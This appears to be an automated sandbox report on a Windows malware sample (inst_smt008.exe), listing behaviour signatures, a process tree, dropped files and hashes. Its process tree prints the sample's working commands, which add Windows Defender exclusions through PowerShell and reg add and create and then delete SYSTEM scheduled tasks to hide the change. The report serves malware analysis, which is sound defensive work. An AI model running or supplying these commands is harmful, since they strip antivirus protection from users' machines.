Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 01:56

General

  • Target
    inst_smt008.exe
  • Size 55.2MB
  • Sample260805-ccnxkahn81
  • SHA256 684b9f86168d3a693a330ed939fba8b349f89d18a85fc4c74eff583a309fd8c4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5092
  • C:\Users\Public\Jbt0Bp\ByY6q9.exe
    "C:\Users\Public\Jbt0Bp\ByY6q9.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2060
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Jbt0Bp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:6044
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Jbt0Bp\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5912
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3968
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4488
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5688
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2084
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5144
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4364
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1460
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2664
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:680
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2812
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2376
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2020
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4508
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1912
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3936
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2896
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3412
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4972
                      • C:\Users\Public\Jbt0Bp\ByY6q9.exe
                        "C:\Users\Public\Jbt0Bp\ByY6q9.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3320
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Jbt0Bp" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2740
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Jbt0Bp" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5420
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:572
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2300
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:580
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:472
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3832

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              ByY6q9.exe

                              • Path C:\Users\Public\Jbt0Bp\ByY6q9.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\Jbt0Bp\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 c8e9f14398b847bb457511f9e53b41fac6002594520ee68f1c38969024770dd6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\Jbt0Bp\adoresd.dat
                              • Size 4.7MB
                              • SHA256 b0fe2db581c626536e40824ad57903f17364ad6750e95ed97835eb73ee5d3381
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\Jbt0Bp\msadox.tb
                              • Size 8KB
                              • SHA256 a6b34255421de6fcd33142f7d2a67d8311c49fd1a82f82f4971166b06ebb6a78
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2060-595-0x000001F05C860000-0x000001F05C86A000-memory.dmp

                              memory/2060-594-0x000001F074E90000-0x000001F074F42000-memory.dmp

                              memory/2060-593-0x000001F074E70000-0x000001F074E8E000-memory.dmp

                              memory/2060-590-0x000001F05C8B0000-0x000001F05C8D2000-memory.dmp

                              memory/3320-578-0x000001ED55220000-0x000001ED55AB1000-memory.dmp

                              memory/3320-582-0x000001ED55220000-0x000001ED55AB1000-memory.dmp

                              memory/3320-575-0x000001ED55220000-0x000001ED55AB1000-memory.dmp

                              memory/3320-577-0x00007FFC87CA0000-0x00007FFC87CA2000-memory.dmp

                              memory/3320-572-0x00007FFC65040000-0x00007FFC6555E000-memory.dmp

                              memory/3320-586-0x00007FFC87C90000-0x00007FFC87C92000-memory.dmp

                              memory/3320-583-0x000001ED55220000-0x000001ED55AB1000-memory.dmp

                              memory/3320-584-0x000001ED55220000-0x000001ED55AB1000-memory.dmp

                              memory/3320-585-0x000001ED55220000-0x000001ED55AB1000-memory.dmp

                              memory/5092-523-0x00000000005B0000-0x00000000005BD000-memory.dmp

                              memory/5092-524-0x00007FFC7F750000-0x00007FFC7F762000-memory.dmp

                              memory/5092-0-0x00000000005B0000-0x00000000005BD000-memory.dmp

                              memory/5092-503-0x00007FFC7F750000-0x00007FFC7F762000-memory.dmp

                              memory/5092-1-0x00000000005C0000-0x00000000005CB000-memory.dmp

                              memory/5560-544-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-550-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-562-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-565-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-566-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-558-0x0000020E3A2F0000-0x0000020E3A37A000-memory.dmp

                              memory/5560-560-0x0000020E3A2F0000-0x0000020E3A37A000-memory.dmp

                              memory/5560-559-0x0000020E3A2F0000-0x0000020E3A37A000-memory.dmp

                              memory/5560-555-0x0000020E3A210000-0x0000020E3A25E000-memory.dmp

                              memory/5560-556-0x0000020E3A2F0000-0x0000020E3A37A000-memory.dmp

                              memory/5560-545-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-530-0x00007FFC65040000-0x00007FFC6555E000-memory.dmp

                              memory/5560-543-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-538-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-542-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-537-0x00007FFC87CA0000-0x00007FFC87CA2000-memory.dmp

                              memory/5560-535-0x0000020E3AD30000-0x0000020E3B5C1000-memory.dmp

                              memory/5560-529-0x00007FFC87C90000-0x00007FFC87C92000-memory.dmp